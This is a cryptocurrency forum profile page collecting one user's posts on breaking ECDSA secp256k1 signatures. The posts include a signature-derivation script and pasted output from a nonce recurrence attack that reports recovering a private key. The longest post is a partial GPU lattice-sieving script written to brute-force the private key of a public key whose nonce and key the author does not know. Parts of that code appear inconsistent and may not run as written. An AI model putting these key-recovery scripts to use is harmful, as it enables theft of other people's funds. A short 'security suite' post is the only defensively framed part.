Search content
Sort by

Showing 20 of 167 results by krashfire
Post
Topic
Board Development & Technical Discussion
Topic OP
Cryptocurrency as an alternative payment method
by
krashfire
on 01/06/2025, 05:11:26 UTC
i was wondering if anyone here knows, how can i integrate cryptocurrency as a payment method on my website. so  for example if, i own amazon, and i want to integrate etherum, bitcoin, usdt payments on my website.

how can i do that? im sure there are already payment methods or services that provided that. what i need is to read up on how i can create my own payment solution.
Post
Topic
Board Development & Technical Discussion
Re: Creating Valid Signatures via Public key only
by
krashfire
on 07/05/2025, 09:10:54 UTC
I'm not an expert in this area, but if z isn't derived from the message, then the same signature can be applied to any message (assuming that you don't verify the hash).


Read this: If someone wanted to pretend to be Satoshi by posting a fake signature to defraud people how could they?




i have read it. hmm.. some ideas are running in my head now when i saw the formula he used. thank you very much.
Post
Topic
Board Development & Technical Discussion
Topic OP
Creating Valid Signatures via Public key only
by
krashfire
on 05/05/2025, 11:57:24 UTC
First let me explain,

the first part in the script is how you typically generate valid signatures using private key for ecdsa secp256k1. there are many libraries also that does the same.

what i realize is, when we use the same verifying values of u1, u2 and the public key. we can generate signatures just by using the public key and it will have the same r, s, z signatures. 

Code:

#!/usr/bin/env python3
import hashlib
import random

# secp256k1 curve parameters
p = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEFFFFFC2F
n = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141
G_x = 0x79BE667EF9DCBBAC55A06295CE870B07029BFCDB2DCE28D959F2815B16F81798
G_y = 0x483ADA7726A3C4655DA4FBFC0E1108A8FD17B448A68554199C47D08FFB10D4B8

def mod_inverse(k, p):
    """Calculate modular inverse: k^-1 mod p"""
    return pow(k, p - 2, p)

def point_add(p1_x, p1_y, p2_x, p2_y):
    """Add two points on the curve"""
    if p1_x is None:
        return p2_x, p2_y
    if p2_x is None:
        return p1_x, p1_y
       
    if p1_x == p2_x and p1_y != p2_y:
        return None, None  # Point at infinity
       
    if p1_x == p2_x:
        # Point doubling
        lam = (3 * p1_x * p1_x) * mod_inverse(2 * p1_y, p) % p
    else:
        # Point addition
        lam = ((p2_y - p1_y) * mod_inverse((p2_x - p1_x) % p, p)) % p
       
    x3 = (lam * lam - p1_x - p2_x) % p
    y3 = (lam * (p1_x - x3) - p1_y) % p
   
    return x3, y3

def scalar_mult(k, p_x, p_y):
    """Multiply point by scalar"""
    nx, ny = None, None
   
    while k > 0:
        if k & 1:
            nx, ny = point_add(nx, ny, p_x, p_y)
        k = k >> 1
        p_x, p_y = point_add(p_x, p_y, p_x, p_y)
       
    return nx, ny

def generate_keypair():
    """Generate private key and public key"""
    private_key = random.randint(1, n - 1)
   
    public_key_x, public_key_y = scalar_mult(private_key, G_x, G_y)
   
    print(f"Private key: {hex(private_key)}")
    print(f"Public key: ({hex(public_key_x)}, {hex(public_key_y)})")
   
    return private_key, (public_key_x, public_key_y)

def sign_message(private_key, message):
    """Sign a message using ECDSA"""
    message_hash = int(hashlib.sha256(message.encode()).hexdigest(), 16)
   
    # Generate random k (nonce)
    k = random.randint(1, n - 1)
   
    # Calculate point R = k * G
    r_x, r_y = scalar_mult(k, G_x, G_y)
   
    # r is the x-coordinate modulo n
    r = r_x % n
   
    # Calculate s = k^(-1) * (hash + r * private_key) mod n
    s = (mod_inverse(k, n) * (message_hash + r * private_key) % n) % n
   
    # Calculate values used in verification
    w = mod_inverse(s, n)  # s^(-1) mod n
    u1 = (message_hash * w) % n
    u2 = (r * w) % n
   
    print(f"Message: {message}")
    print(f"k Nonce: {hex(k)}")
    print(f"r: {hex(r)}")
    print(f"s: {hex(s)}")
    print(f"z: {hex(message_hash)}")
    print(f"Verification values:")
    print(f"  u1: {hex(u1)}")
    print(f"  u2: {hex(u2)}")
   
    return r, s, message_hash, u1, u2

def main():
    """Main function"""
    # Generate keys and sign a message
    private_key, public_key = generate_keypair()
    message = "BitcoinTalk"
    r, s, z, u1, u2 = sign_message(private_key, message)
   
    print("\nPart 2: Generating signatures using public key, u1 and u2 values")
    print("=" * 60)
   
    def fast_add(p1, p2):
        return point_add(p1[0], p1[1], p2[0], p2[1])
   
    def fast_multiply(point, scalar):
        return scalar_mult(scalar, point[0], point[1])
   
    G = (G_x, G_y)
    Q = public_key
   
    # Use u1 and u2 values from first signature
    a = u1
    b = u2
   
    # Calculate the signature using a and b
    sig_point = fast_add(fast_multiply(G, a), fast_multiply(Q, b))
    r1 = sig_point[0] % n
    s1= (r1 * mod_inverse(b, n)) % n
   
    # Calculate z (message hash) from the result
    z1 = (a * r1 * mod_inverse(b, n)) % n
   
    # Verify the signature
    w1 = mod_inverse(s1, n)
    u1_1 = (z1 * w1) % n
    u2_1 = (r1 * w1) % n
   
    verify_point = fast_add(fast_multiply(G, u1_1), fast_multiply(Q, u2_1))
   
    # verification
    verification_success = (r1 == verify_point[0] % n)
   
    print(f"a = {hex(a)}")
    print(f"b = {hex(b)}")
    print(f"Generated Signature:")
    print(f"r1 = {hex(r1)}")
    print(f"s1 = {hex(s1)}")
    print(f"z1 = {hex(z1)}")

if __name__ == "__main__":
    main()



hence, i realize with random values of u1 and u2, you can create multiple valid signatures just by using the public key.

you can download and test the code here. https://github.com/KrashKrash/public-key-signature-generator

can you use this to create forge signatures? can you create same r values? can you introduce vulnerabilities?
the answer to the first 2 question is No. the signatures are created deterministically. for a certain u1 and u2 values , you can only get a certain r,s,z values.
but its interesting information for those of you who are into the mathematics of it.
Post
Topic
Board Development & Technical Discussion
Topic OP
Identical u1, u2 values
by
krashfire
on 23/04/2025, 00:34:38 UTC
if we generate 2 signatures, and both have the same verifying u1 and u2 values. is this something to be concern about or its not an issue?

i had created 1 set of signature using the public key and the other is a standard ecdsa computation. when i was verifying the signatures, the u1 and u2 values were identical.
Post
Topic
Board Development & Technical Discussion
Re: fake signature generation
by
krashfire
on 10/03/2025, 03:53:47 UTC
thanks. it works.

Code:

------------------------------------------------------------------------------------------------------------------------------------------------------
Chosen recurrence relation for attack: k_next = 43511367934207785493205740240378275743609768675817908100722913788393695639657*k_prev + 78730372042131832072287759890573273005645422101261818863735891162602450516391 mod n
------------------------------------------------------------------------------------------------------------------------------------------------------
Generating artificial signatures...

Created artificial signature 1 between original signatures 1 and 2
  r_new = 23298015045193904612586625097013013238434742231554167744515936879399869488397, s_new = 110955400697554132573244702028682455501659791587247294823293562059184441715205, z_new = 114348426784376972262212387491392248456909105810912478725596391450242197501624
Created artificial signature 2 between original signatures 1 and 2
  r_new = 23298015045193904612586625097013013238434742231554167744515936879399869488397, s_new = 65922615754394972779235513816836497423895401971455841314960028650904449284001, z_new = 95651824604975196373056940850546687721428079367574184939506225302834722908348
Created artificial signature 3 between original signatures 2 and 3
  r_new = 34559190504341613833450353695106665408056903224372678973840446297532206243167, s_new = 68474226316309826745487865238288822884863264116278386354529472763624044908668, z_new = 14119843862881681218543777296966920285776233738925951248823701482312902925979
Created artificial signature 4 between original signatures 2 and 3
  r_new = 34559190504341613833450353695106665408056903224372678973840446297532206243167, s_new = 87856688150857517286884451144948438861914677933532768283681731806952275948583, z_new = 50454272941657236491777748105016448688256465114149558571605332890217841528754
Created artificial signature 5 between original signatures 3 and 4
  r_new = 19464743338216844258300736972864389034943655834701603668204034612723902071488, s_new = 64530538090822446044806789889239841870632092828991942322079830579050702743505, z_new = 100696216182135497006398112131941561404271020258497146408493916851894222017995
Created artificial signature 6 between original signatures 3 and 4
  r_new = 19464743338216844258300736972864389034943655834701603668204034612723902071488, s_new = 47235015937058937548982965514420387033624898602564791643518102370593631469157, z_new = 90587031616179313788031102499266527866257203397777530630520324049364149405545

Total number of signatures (original + artificial): 10
------------------------------------------------------------------------------------------------------------------------------------------------------
Generating polynomial to solve for the private key...
Nonces difference equation:
(((((((k12*k12-k23*k01)*k13*k23-(k23*k23-k34*k12)*k01*k02)*k14*k24*k34-((k23*k23-k34*k12)*k24*k34-(k34*k34-k45*k23)*k12*k13)*k01*k02*k03)*k15*k25*k35*k45-(((k23*k23-k34*k12)*k24*k34-(k34*k34-k45*k23)*k12*k13)*k25*k35*k45-((k34*k34-k45*k23)*k35*k45-(k45*k45-k56*k34)*k23*k24)*k12*k13*k14)*k01*k02*k03*k04)*k16*k26*k36*k46*k56-((((k23*k23-k34*k12)*k24*k34-(k34*k34-k45*k23)*k12*k13)*k25*k35*k45-((k34*k34-k45*k23)*k35*k45-(k45*k45-k56*k34)*k23*k24)*k12*k13*k14)*k26*k36*k46*k56-(((k34*k34-k45*k23)*k35*k45-(k45*k45-k56*k34)*k23*k24)*k36*k46*k56-((k45*k45-k56*k34)*k46*k56-(k56*k56-k67*k45)*k34*k35)*k23*k24*k25)*k12*k13*k14*k15)*k01*k02*k03*k04*k05)*k17*k27*k37*k47*k57*k67-(((((k23*k23-k34*k12)*k24*k34-(k34*k34-k45*k23)*k12*k13)*k25*k35*k45-((k34*k34-k45*k23)*k35*k45-(k45*k45-k56*k34)*k23*k24)*k12*k13*k14)*k26*k36*k46*k56-(((k34*k34-k45*k23)*k35*k45-(k45*k45-k56*k34)*k23*k24)*k36*k46*k56-((k45*k45-k56*k34)*k46*k56-(k56*k56-k67*k45)*k34*k35)*k23*k24*k25)*k12*k13*k14*k15)*k27*k37*k47*k57*k67-((((k34*k34-k45*k23)*k35*k45-(k45*k45-k56*k34)*k23*k24)*k36*k46*k56-((k45*k45-k56*k34)*k46*k56-(k56*k56-k67*k45)*k34*k35)*k23*k24*k25)*k37*k47*k57*k67-(((k45*k45-k56*k34)*k46*k56-(k56*k56-k67*k45)*k34*k35)*k47*k57*k67-((k56*k56-k67*k45)*k57*k67-(k67*k67-k78*k56)*k45*k46)*k34*k35*k36)*k23*k24*k25*k26)*k12*k13*k14*k15*k16)*k01*k02*k03*k04*k05*k06)*k18*k28*k38*k48*k58*k68*k78-((((((k23*k23-k34*k12)*k24*k34-(k34*k34-k45*k23)*k12*k13)*k25*k35*k45-((k34*k34-k45*k23)*k35*k45-(k45*k45-k56*k34)*k23*k24)*k12*k13*k14)*k26*k36*k46*k56-(((k34*k34-k45*k23)*k35*k45-(k45*k45-k56*k34)*k23*k24)*k36*k46*k56-((k45*k45-k56*k34)*k46*k56-(k56*k56-k67*k45)*k34*k35)*k23*k24*k25)*k12*k13*k14*k15)*k27*k37*k47*k57*k67-((((k34*k34-k45*k23)*k35*k45-(k45*k45-k56*k34)*k23*k24)*k36*k46*k56-((k45*k45-k56*k34)*k46*k56-(k56*k56-k67*k45)*k34*k35)*k23*k24*k25)*k37*k47*k57*k67-(((k45*k45-k56*k34)*k46*k56-(k56*k56-k67*k45)*k34*k35)*k47*k57*k67-((k56*k56-k67*k45)*k57*k67-(k67*k67-k78*k56)*k45*k46)*k34*k35*k36)*k23*k24*k25*k26)*k12*k13*k14*k15*k16)*k28*k38*k48*k58*k68*k78-(((((k34*k34-k45*k23)*k35*k45-(k45*k45-k56*k34)*k23*k24)*k36*k46*k56-((k45*k45-k56*k34)*k46*k56-(k56*k56-k67*k45)*k34*k35)*k23*k24*k25)*k37*k47*k57*k67-(((k45*k45-k56*k34)*k46*k56-(k56*k56-k67*k45)*k34*k35)*k47*k57*k67-((k56*k56-k67*k45)*k57*k67-(k67*k67-k78*k56)*k45*k46)*k34*k35*k36)*k23*k24*k25*k26)*k38*k48*k58*k68*k78-((((k45*k45-k56*k34)*k46*k56-(k56*k56-k67*k45)*k34*k35)*k47*k57*k67-((k56*k56-k67*k45)*k57*k67-(k67*k67-k78*k56)*k45*k46)*k34*k35*k36)*k48*k58*k68*k78-(((k56*k56-k67*k45)*k57*k67-(k67*k67-k78*k56)*k45*k46)*k58*k68*k78-((k67*k67-k78*k56)*k68*k78-(k78*k78-k89*k67)*k56*k57)*k45*k46*k47)*k34*k35*k36*k37)*k23*k24*k25*k26*k27)*k12*k13*k14*k15*k16*k17)*k01*k02*k03*k04*k05*k06*k07) = 0
------------------------------------------------------------------------------------------------------------------------------------------------------
Polynomial in d:
10076378950690840322333303104212707217658418276379388800499402055322370197830*dd^29 + 9907754340187044042462333394731559996501271924517098312112490292652290220374*dd^28 + 25413118996992445384351078544952248707143401694174929858895015610527546784254*dd^27 + 54637476460606508381736836066201543629053576715917127510892537352262580074245*dd^26 + 112660205308610187075066405664391979505309077946149247712537995226455794436810*dd^25 + 41916469819176829829003617962051564034209293180602522782111440946370565287073*dd^24 + 79200169230764140950417025891323641817621003989352606693423673374557515131241*dd^23 + 6892011050106687223571788452179503704436289455822671952398809341012131076293*dd^22 + 87282091338451661877346906037796853908695573093119175349285366988383343671979*dd^21 + 11304997998728144123509981342384890488924738957001454069700450158894601413555*dd^20 + 43979018229079941203255031467982475320154780564095188717134688641454823445236*dd^19 + 75899029772163776616855855544521674685821741983222872578787604745827781681373*dd^18 + 111185857515521162710720049266785741959219058774265220255138138663908361369509*dd^17 + 90097802487495971394348001492670173807693450020911370453545320234648163713708*dd^16 + 91619490151160204957571842154554124171353946727089446509984910179141836095578*dd^15 + 33619806607511208853645921383885292007303237141080347372188866889704588006017*dd^14 + 98507260632833035704714521876291822323109177386128401580070683384149763516801*dd^13 + 30322200714711228447010355230180551241231394995885110745433945031787692193260*dd^12 + 7096479951060851309715641712092460614122972796251168231097030576464187818685*dd^11 + 40542171423306135701504689200828153305093321849084037823359721756352871767487*dd^10 + 69643050130527340465724621294234560230601973582750268941005387368948139703866*dd^9 + 87241409706175103059766549621140491981504711229707304358100814572131640990309*dd^8 + 61237513059092026569007272320630567118531728841589147251671505528852005631367*dd^7 + 1453725589557907817852160717443063393256773858393394886840189629397322782141*dd^6 + 48670189451632826179229665351532123528783509993012732650965262261411195940816*dd^5 + 1812573516712236544783329436796020444157609066755981011895459683138721491048*dd^4 + 110725644076326742608099456151642593983254672417300349789291108993460560776502*dd^3 + 2954658004812788114563058055514340074961271172864817687704379643190729804515*dd^2 + 13438906721576106075723197136896004432378483577017847622586678742441233468181*dd + 108712551478291873565295586254742667835744622857708672501710504063220089310291
------------------------------------------------------------------------------------------------------------------------------------------------------
Finding roots of the polynomial...
Found 1 roots.
Roots of the polynomial:
Root: 103944520760024560506038323186664680005228038115110724833232378297114715088318, Multiplicity: 1
------------------------------------------------------------------------------------------------------------------------------------------------------
SUCCESS! Private key found: d = 103944520760024560506038323186664680005228038115110724833232378297114715088318

Verifying the artificial signatures follow the specified recurrence relation:
Artificial signature 1:
  Expected k: 90360872727669507550394887425756877359698428223587058630502028768486693956925
  Actual k:   90360872727669507550394887425756877359698428223587058630502028768486693956925
  Match: True
Artificial signature 2:
  Expected k: 90360872727669507550394887425756877359698428223587058630502028768486693956925
  Actual k:   90360872727669507550394887425756877359698428223587058630502028768486693956925
  Match: True
Artificial signature 3:
  Expected k: 20707329528702014598452831463605667149461823117219811019611191842061086457883
  Actual k:   20707329528702014598452831463605667149461823117219811019611191842061086457883
  Match: True
Artificial signature 4:
  Expected k: 20707329528702014598452831463605667149461823117219811019611191842061086457883
  Actual k:   20707329528702014598452831463605667149461823117219811019611191842061086457883
  Match: True
Artificial signature 5:
  Expected k: 19741724224496760945367500974295943818662631917946907732377899462187157547640
  Actual k:   19741724224496760945367500974295943818662631917946907732377899462187157547640
  Match: True


i will update the code properly and send you the enhance version tomorrow. cheers mate.
Post
Topic
Board Development & Technical Discussion
Re: fake signature generation
by
krashfire
on 10/03/2025, 03:27:26 UTC
but if you want the Nonce recurrence attack script i wrote, you can download here. this one uses a generator and not the enhanced version. https://github.com/KrashKrash/nonce-recurrence-attack
Post
Topic
Board Development & Technical Discussion
Re: fake signature generation
by
krashfire
on 10/03/2025, 03:24:41 UTC
hi, im currently working on enhancing on Nonce Recurrence Attack. Read: https://eprint.iacr.org/2023/305.pdf

While i was able to recreate the attack describe in the paper, im thinking of enhancing this method. however, the enhance method would require me to generate some fake signatures that still points to the same public key. i vaguely remember that there was a discussion in some topic and someone mention that we could create fake signatures that could still be verified against the targeted public key but it wont be valid. or something to that effect.

Do you get what i am saying? does it make sense to you?  i might not be explaining this correctly. but if you do, what is the formula to do that? i have forgotten the formula.



I HAVE WHAT YOU'RE LOOKING FOR, TALK TO ME IN PM

i have received your script. give me 1 day, and i will get back to you with my script. thanks buddy.
Post
Topic
Board Development & Technical Discussion
Topic OP
fake signature generation
by
krashfire
on 09/03/2025, 19:19:44 UTC
hi, im currently working on enhancing on Nonce Recurrence Attack. Read: https://eprint.iacr.org/2023/305.pdf

While i was able to recreate the attack describe in the paper, im thinking of enhancing this method. however, the enhance method would require me to generate some fake signatures that still points to the same public key. i vaguely remember that there was a discussion in some topic and someone mention that we could recreate fake signatures that could still be verified against the targeted public key but it wont be valid. or something to that effect.

Do you get what i am saying? i might not be explaining this correctly. but if you do, what is the formula to do that? i have forgotten the formula.
Post
Topic
Board Development & Technical Discussion
Topic OP
ECDSA Security Suite
by
krashfire
on 02/11/2024, 11:14:54 UTC
I created an ECDSA secp256k1 Security suite to check the signatures are vulnerable to what kind of attacks. So Developers can get a proper insight on the flaws of their software.

Undoubtedly, i wish i can put all the known issues in it. i do hope, if there are anyone interested to make this program better, to make a pull request and contribute to the development of this program together. If there are any issues with the code, do advice me accordingly.

You can clone or download the program here, https://github.com/KrashKrash/ECDSA-Security-Analysis-Suite

i wish i can be more detail or comprehensive in the advisory but i believe there are many more experience people like yourself who might be able to give a better advisory recommendations.

Thank You.

Code:

╔════════════════════════════════╤═════════════════╤══════════════════════════════════════════╗
║ Vulnerability Type             │ Risk Level      │ Details                                  ║
╟────────────────────────────────┼─────────────────┼──────────────────────────────────────────╢
║ Hidden Number Problem          │ Low             │ No significant findings                  ║
║ Lattice Attack                 │ Low             │ No significant findings                  ║
║ Side Channel                   │ Low             │ No significant findings                  ║
║ Bleichenbacher                 │ Low             │ No significant findings                  ║
║ Prefix Lattice                 │ Low             │ No significant findings                  ║
║ Fault Injection                │ Low             │ No significant findings                  ║
║ Quantum                        │ Critical        │ Critical quantum vulnerability detected  ║
║                                │                 │ | Safety Score: 5/100                    ║
║ Zero Value                     │ Low             │ No significant findings                  ║
║ Timing Correlation             │ Low             │ No significant findings                  ║
║ Entropy Patterns               │ Low             │ No significant findings                  ║
║ Modular Patterns               │ Critical        │ Found 6 vulnerable patterns | Type: None ║
╚════════════════════════════════╧═════════════════╧══════════════════════════════════════════╝

                                                                                 Detailed Analysis
╭─────────────────────────────────────────────────────────────────────────────── Quantum Analysis ────────────────────────────────────────────────────────────────────────────────╮
│ Quantum Vulnerability: True                                                                                                                                                     │
│ Required Qubits: 2048                                                                                                                                                           │
│ Breaking Time: Hours to days on theoretical quantum computer                                                                                                                    │
│ Safety Score: 5/100                                                                                                                                                             │
╰─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╯
╭─────────────────────────────────────────────────────────────────────────────── Entropy Analysis ────────────────────────────────────────────────────────────────────────────────╮
│ Entropy Score: 1.00                                                                                                                                                             │
│ Quality: High                                                                                                                                                                   │
│ Weak Patterns Found: 0                                                                                                                                                          │
╰─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╯
╭───────────────────────────────────────────────────────────────────────────── Side Channel Analysis ─────────────────────────────────────────────────────────────────────────────╮
│ Timing Leakage: False                                                                                                                                                           │
│ Power Leakage: False                                                                                                                                                            │
│ Cache Vulnerability: False                                                                                                                                                      │
│ Vulnerability Score: 0.00                                                                                                                                                       │
╰─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╯
╭─────────────────────────────────────────────────────────────────────────── Machine Learning Analysis ───────────────────────────────────────────────────────────────────────────╮
│ ML Anomalies: False                                                                                                                                                             │
│ Detected Patterns: 0                                                                                                                                                            │
│ Confidence: 0.00                                                                                                                                                                │
╰─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╯

                                                                             Security Recommendations

  Priority     Title                            Description                                Actions
 ───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
  High         Quantum Vulnerability            Prepare for quantum threats                • Plan migration to quantum-resistant
                                                                                           algorithms


                                                                               Statistical Overview
                              ╷
  Metric                      │ Value
 ═════════════════════════════╪════════
  Total Vulnerabilities Found │ 3
  Critical Issues             │ 2
  Overall Security Score      │ 10/100
                              ╵

Analysis complete! Detailed report has been generated.
Please review the recommendations carefully.


Post
Topic
Board Development & Technical Discussion
Re: Attacking ECDSA by Lattice Sieving: Bridging Gap with Fourier Analysis Attacks
by
krashfire
on 12/10/2024, 06:03:08 UTC
Well after going through it the only point where i feel your method could fall short is in the potential noise in signature
The ECDSA signature  may have noise and if the signature you are using is not perfectly aligned with the assumptions made in your model it could disrupt the entire process and this will make it hard for the lattice based approach to solve the problem accurately
Aside that I really can't think of anything
You should consider examining the impact of signature noise

I was warn about this yesterday. I totally forgot about it when i was coding. thank you so much for the reminder. I appreciate it.
Post
Topic
Board Development & Technical Discussion
Topic OP
Attacking ECDSA by Lattice Sieving: Bridging Gap with Fourier Analysis Attacks
by
krashfire
on 12/10/2024, 04:47:35 UTC
I had chance upon this research.. https://eprint.iacr.org/2024/296

The author had through multiple signatures found the private key through less than 4 bits of nonce leakage.

My problem is, i do not know the k nonce. there is no leakage. I do not know the private key. i do not know the message that was used..  So i modify the script accordingly.  i believe if it takes less than 4 bits of nonce leakage to eventually gain the private key,

I could 'leak' the 6 bits of the k nonce. try on every pattern (Total This script will try all 262,144 (64^3) possible combinations) and eventually get the right 'leak' for the full k nonce.

Notwithstanding using GPU, CPU ONLY, it will take me roughly 22 hours to complete the full pattern.

What i want to ask is, why do you think my method won't work?

Thank You. I Appreciate your opinion.

Code:

import os
os.environ['CUDA_PATH'] = '/usr/local/cuda-11.5'

import time
import logging
import multiprocessing
import itertools
import numpy as np
import cupy as cp
import cupyx
from cupy.linalg import qr
import pickle

logging.basicConfig(level=logging.INFO, format='%(asctime)s - %(levelname)s - %(message)s')
logger = logging.getLogger(__name__)

# Print CUDA version for verification
logger.info(f"CUDA version: {cp.cuda.runtime.runtimeGetVersion()}")
logger.info(f"CuPy version: {cp.__version__}")

p = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEFFFFFC2F
a, b = 0, 7
E = EllipticCurve(GF(p), [a, b])
G = E(0x79BE667EF9DCBBAC55A06295CE870B07029BFCDB2DCE28D959F2815B16F81798,
      0x483ADA7726A3C4655DA4FBFC0E1108A8FD17B448A68554199C47D08FFB10D4B8)
n = G.order()

def ecdsa_to_hnp(signatures, l):
    logger.info(f"Converting {len(signatures)} ECDSA signatures to HNP instances")
    q = n
    w = q // (2**(l+1))
    samples = []
    for sig in signatures:
        r = int(sig['r'], 16)
        s = int(sig['s'], 16)
        z = int(sig['z'], 16)
        t = (Mod(r, q) * Mod(s, q)**(-1)) % q
        a = (Mod(z, q) * Mod(s, q)**(-1) - w) % q
        samples.append((t, a))
    logger.info(f"Conversion complete. Generated {len(samples)} HNP samples")
    return samples

def construct_lattice(samples, x, l):
    logger.info(f"Constructing lattice with {len(samples)} samples, x={x}, l={l}")
    m = len(samples)
    q = int(n)
    w = q // (2**(l+1))
    B = matrix(ZZ, m+1, m+1)
    for i in range(m-1):
        B[i, i] = q
    B[m-1, :m-1] = [x * t for t, _ in samples]
    B[m-1, m-1] = x
    B[m, :m-1] = [a for _, a in samples]
    B[m, m] = int((w * w // 3)**0.5)
    logger.info(f"Lattice construction complete. Dimension: {B.nrows()} x {B.ncols()}")
    return cp.array(B.numpy())

def gpu_lll(B, delta=0.99):
    logger.info(f"Starting GPU-accelerated LLL reduction on {B.shape[0]}x{B.shape[1]} matrix")
    Q, R = qr(B)
    n = B.shape[0]
    k = 1
    while k < n:
        for j in range(k-1, -1, -1):
            mu = cp.round(R[j,k] / R[j,j])
            if mu != 0:
                R[:j+1,k] -= mu * R[:j+1,j]
                Q[:,k] -= mu * Q[:,j]
        if delta * R[k-1,k-1]**2 > R[k,k]**2 + R[k-1,k]**2:
            R[[k-1,k]] = R[[k,k-1]]
            Q[:,[k-1,k]] = Q[:,[k,k-1]]
            k = max(k-1, 1)
        else:
            k += 1
    logger.info("GPU-accelerated LLL reduction complete")
    return Q @ R

def gpu_bkz(B, block_size=20):
    logger.info(f"Starting GPU-accelerated BKZ reduction with block size {block_size}")
    n = B.shape[0]
    for i in range(0, n - block_size + 1):
        logger.debug(f"Processing block {i}/{n - block_size}")
        block = B[i:i+block_size, i:i+block_size]
        block = gpu_lll(block)
        B[i:i+block_size, i:i+block_size] = block
    logger.info("GPU-accelerated BKZ reduction complete")
    return B

def gauss_sieve(B, target_norm, max_list_size=None):
    logger.info(f"Starting Gauss sieve with target norm {target_norm}")
    L = []
    S = []
    C = B.get().tolist()  # Convert CuPy array to list
   
    while C:
        v = C.pop(0)
        v = cp.array(v)  # Convert back to CuPy array for GPU operations
        if cp.linalg.norm(v) > target_norm:
            continue
       
        if not L:
            L.append(v)
            continue
       
        changed = True
        while changed:
            changed = False
            for w in L:
                if cp.linalg.norm(v - w) < cp.linalg.norm(v):
                    v = v - w
                    changed = True
                    break
                elif cp.linalg.norm(v + w) < cp.linalg.norm(v):
                    v = v + w
                    changed = True
                    break
       
        if cp.linalg.norm(v) <= target_norm:
            L.append(v)
            if max_list_size and len(L) > max_list_size:
                L.sort(key=lambda x: cp.linalg.norm(x))
                L = L[:max_list_size]
        else:
            S.append(v)
   
    logger.info(f"Gauss sieve complete. Found {len(L)} vectors")
    return L

def interval_reduction(low, high, samples, q, l):
    logger.info(f"Starting interval reduction: [{low}, {high}]")
    M = high - low + 1
    N = int(np.log2(M).ceil())
    R = [(low, high)]
   
    for t, a in samples[:N]:
        R_new = []
        for interval in R:
            low, high = interval
            n_min = ((t * low - a - q/(2**(l+1))) // q).ceil()
            n_max = ((t * high - a + q/(2**(l+1))) // q).floor()
            for n in range(n_min, n_max + 1):
                new_low = max(low, ((a + n*q - q/(2**(l+1))) // t).ceil())
                new_high = min(high, ((a + n*q + q/(2**(l+1))) // t).floor())
                if new_low <= new_high:
                    R_new.append((new_low, new_high))
        R = R_new
   
    logger.info(f"Interval reduction complete. Resulting intervals: {len(R)}")
    return R

def pre_screening(alpha0, samples, q, l, x):
    logger.debug(f"Pre-screening candidate α₀: {alpha0}")
    w = q // (2**(l+1))
    result = all(abs(((x * t * alpha0 - a + q//2) % q) - q//2) <= w + q//(2**(l+4)) for t, a in samples)
    logger.debug(f"Pre-screening result: {'Passed' if result else 'Failed'}")
    return result

def improved_linear_predicate(v, samples, q, l, tau):
    logger.debug(f"Checking improved linear predicate for v: {v}")
    if v[0] == 0 or abs(v[0]) > q/(2**(l+1)) or abs(v[1]) != tau:
        logger.debug("Predicate failed initial checks")
        return None
   
    k0 = -np.sign(v[1]) * v[0] + q/(2**(l+1))
    alpha = (Mod(samples[0][1] + k0, q) * Mod(samples[0][0], q)**(-1)) % q
   
    N = 2 * int(np.log2(q).ceil())
    M = sum(1 for t, a in samples[:N] if abs((t * alpha - a) % q) < q/(2**l))
   
    if M > N * (1 - np.log2(q)/(2**l) + 2**(-l)) / 2:
        logger.debug(f"Predicate passed. Potential α: {alpha}")
        return int(alpha)
    logger.debug("Predicate failed final check")
    return None

def decomposition_predicate(v, samples, q, l, tau, x):
    logger.debug(f"Checking decomposition predicate for v: {v}")
    if v[0] == 0 or abs(v[0]) > q/(2**(l+1)) or abs(v[1]) != tau:
        logger.debug("Decomposition predicate failed initial checks")
        return None
   
    low = -np.sign(v[1]) * v[0] - x//2
    high = -np.sign(v[1]) * v[0] + x//2
   
    R = interval_reduction(low, high, samples, q, l)
   
    for interval in R:
        for h in range(interval[0], interval[1] + 1):
            alpha = improved_linear_predicate((h, -tau), samples, q, l, tau)
            if alpha is not None and pre_screening(alpha, samples, q, l, x):
                logger.info(f"Decomposition predicate found potential solution: {alpha}")
                return alpha
   
    logger.debug("Decomposition predicate failed to find a solution")
    return None

def progressive_bkz_sieve(B, predicate, start_dim=20, step=5, max_dim=None):
    if max_dim is None:
        max_dim = B.shape[0]
   
    for d in range(start_dim, max_dim + 1, step):
        logger.info(f"Processing dimension {d}")
        B_sub = B[:d, :d]
       
        B_sub = gpu_bkz(B_sub, block_size=min(20, d))
       
        target_norm = cp.sqrt(4/3) * cp.linalg.det(B_sub)**(1/d)
        logger.info(f"Target norm for dimension {d}: {target_norm}")
        sieved_vectors = gauss_sieve(B_sub, target_norm, max_list_size=d*10)
       
        logger.info(f"Checking predicates for {len(sieved_vectors)} vectors")
        for v in sieved_vectors:
            sk = predicate(v[-2:])
            if sk is not None:
                logger.info(f"Found potential solution: {sk}")
                return sk
   
    logger.info("Progressive BKZ-sieve completed without finding a solution")
    return None

def try_nonce_patterns(args):
    signatures, l, x, pubkey, patterns = args
    logger.info(f"Trying nonce pattern: {patterns}")
    modified_sigs = [{**sig, 'r': hex(int(sig['r'], 16) ^ (p << (256 - l)))[2:].zfill(64)}
                     for sig, p in zip(signatures, patterns)]
    samples = ecdsa_to_hnp(modified_sigs, l)
    B = construct_lattice(samples, x, l)
   
    def predicate(v):
        return decomposition_predicate(v, samples, int(n), l, int(B[-1, -1].get()), x)
   
    sk = progressive_bkz_sieve(B, predicate, start_dim=20)
   
    if sk:
        recovered_pubkey_point = sk * G
        recovered_pubkey = '04' + hex(recovered_pubkey_point[0])[2:].zfill(64) + hex(recovered_pubkey_point[1])[2:].zfill(64)
        if recovered_pubkey == pubkey:
            logger.info(f"Successfully recovered private key: {hex(sk)}")
            return sk
    logger.info(f"Failed to recover private key for pattern: {patterns}")
    return None

def save_progress(completed_patterns):
    logger.info(f"Saving progress. Completed patterns: {len(completed_patterns)}")
    with open("progress.pkl", "wb") as f:
